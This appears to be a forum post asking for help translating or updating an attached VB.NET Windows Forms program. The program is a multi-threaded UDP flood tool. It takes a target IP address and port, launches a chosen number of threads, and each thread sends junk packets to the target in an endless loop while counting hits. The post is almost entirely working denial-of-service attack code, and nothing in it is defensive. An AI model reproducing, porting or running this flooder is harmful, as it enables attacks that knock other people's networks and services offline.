C# translate 2010 to 2015 please help

Imports System.Net.Sockets
Imports System.IO
Imports System.Text
Imports System.Threading
Public Class Form1
    Dim List As New List(Of Threading.Thread)

    Private Sub TrackBar1_Scroll(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TrackBar1.Scroll
        Label3.Text = "Number Of Threads : " & TrackBar1.Value
    End Sub
    Sub UDP()
        Try
            Dim GLOIP As IPAddress 'Target
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text) ' Textbox1.Text= IP/Target
            bytCommand = Encoding.ASCII.GetBytes("$$$$$$$$$$$$$$$") 'Message in byte
            Do
                Dim udpClient As New UdpClient 'Protocol
                udpClient.Connect(GLOIP, TextBox2.Text) 'Connect to Target (Textbox2.text=Port)
                udpClient.Send(bytCommand, bytCommand.Length) 'Send Message
                udpClient.Close()
                Label8.Text += 1 'Label8.text= Connections
            Loop
        Catch ex As Exception
            Label7.Text += 1

        End Try
    End Sub
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        List.Clear()
        For i = 0 To TrackBar1.Value - 1
            Dim UDPFlood As New Threading.Thread(AddressOf UDP)
            UDPFlood.Start()
            List.Add(UDPFlood)
        Next
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Control.CheckForIllegalCrossThreadCalls = False
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        For i = 0 To List.Count - 1
            List(i).Abort()
        Next
    End Sub
End Class